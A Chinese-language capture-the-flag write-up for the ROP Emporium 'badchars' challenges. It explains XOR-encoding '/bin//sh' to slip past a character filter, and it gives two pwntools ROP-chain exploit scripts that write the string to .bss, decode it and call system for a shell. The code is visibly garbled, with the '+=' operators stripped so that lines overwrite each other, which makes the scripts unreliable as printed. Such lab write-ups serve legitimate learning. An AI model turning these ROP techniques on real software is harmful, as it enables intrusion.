ROP_emporium-2

2020-11-04 11:05:39 浏览数 (2)

今天又是学习变pwn的一天

badchars32

检查程序

分析程序

我们首先运行一下程序,来看能得到什么信息

看到了badchars,我们在IDA里看下程序

通过checkbadchars函数我们可以发现对输入的字符串进行了过滤,使得我们无法直接写入”/bin/shx00” 这里可以对binsh进行异或加密输入,在调用xor gadget还原,这里用3异或

将数据写到bss段,我们可以通过readelf -S 文件名 来查看权限并查看地址

gadgets

接着就是找gadgets,我们要传入两次参数,然后在调用xor。

代码语言:javascript复制
ROPgadget --binary ./badchars32 --only 'pop|mov|xor|ret'

system函数地址: 0x080484e0

exp

​ 写exp的思路就是在传入/bin//sh之前要将其进行异或加密,这里我用的是与3异或,至于为什么用3,可能当时写的时候刚好手指在按键3上面吧。32位一次只能传4个字节,所以要传入两次。传入之后在调用xor来进行解密,解密之后通过system函数调用。

exp:

代码语言:javascript复制
#encoding:utf-8
from pwn import *

sh = process('./badchars32')

mov_edi_esi = 0x08048893
pop_edi_esi = 0x08048899
pop_ebx_ecx = 0x08048896
xor_ebx = 0x08048890

sys_addr = 0x080484E0
bss_addr = 0x0804a040

#加密
binsh = "/bin//sh"
xorbinsh = ''
for i in binsh:
    xorbinsh  = chr(ord(i)^3)

#32位一次只能传入4个字符,所以要分两次传入
#第一次传入参数
payload  = 'a'*44
payload  = p32(pop_edi_esi)
payload  = xorbinsh[0:4]
payload  = p32(bss_addr)
payload  = p32(mov_edi_esi)

#第二次传入参数
payload  = p32(pop_edi_esi)
payload  = xorbinsh[4:8]
payload  = p32(bss_addr 4)
payload  = p32(mov_edi_esi)

#加密桡过了badchars,所以接下来就是解密,然后通过system函数调用
# 解密函数
for x in range(0,len(xorbinsh)):
    payload  = p32(pop_ebx_ecx)
    payload  = p32(bss_addr int(x))
    payload  = p32(3)
    payload  = p32(xor_ebx)

#调用system执行传入参数
payload  = p32(sys_addr)
payload  = p32(0)
payload  = p32(bss_addr)
#print(payload)

sh.sendline(payload)
sh.interactive()

badchars

​ 64位的程序可以一次传入,还是先找合适的gadgets

exp

exp构造思路和32位相同,不过64位可以一次传入

exp

代码语言:javascript复制
#encoding:utf-8
from pwn import *

sh = process('./badchars')

pop_r12_r13 = 0x0000000000400b3b
mov_r12_r13 = 0x0000000000400b34
pop_r14_r15 = 0x0000000000400b40
xor_r14_r15 = 0x0000000000400b30
pop_rdi = 0x0000000000400b39
sys_addr = 0x04006F0
bss_addr = 0x0601080

#加密
binsh = "/bin//sh"
xorbinsh = ''
for i in binsh:
    xorbinsh  = chr(ord(i)^3)

payload  = 'a' * 40
payload  = p64(pop_r12_r13)
payload  = xorbinsh
payload  = p64(bss_addr)
payload  = p64(mov_r12_r13)
#print payload
#解密
for x in range(0,len(xorbinsh)):
    payload  = p64(pop_r14_r15)
    payload  = p64(3)
    payload  = p64(bss_addr int(x))
    payload  = p64(xor_r14_r15)

payload  = p64(pop_rdi)
payload  = p64(bss_addr)
payload  = p64(sys_addr)


sh.sendline(payload)
sh.interactive()

0 人点赞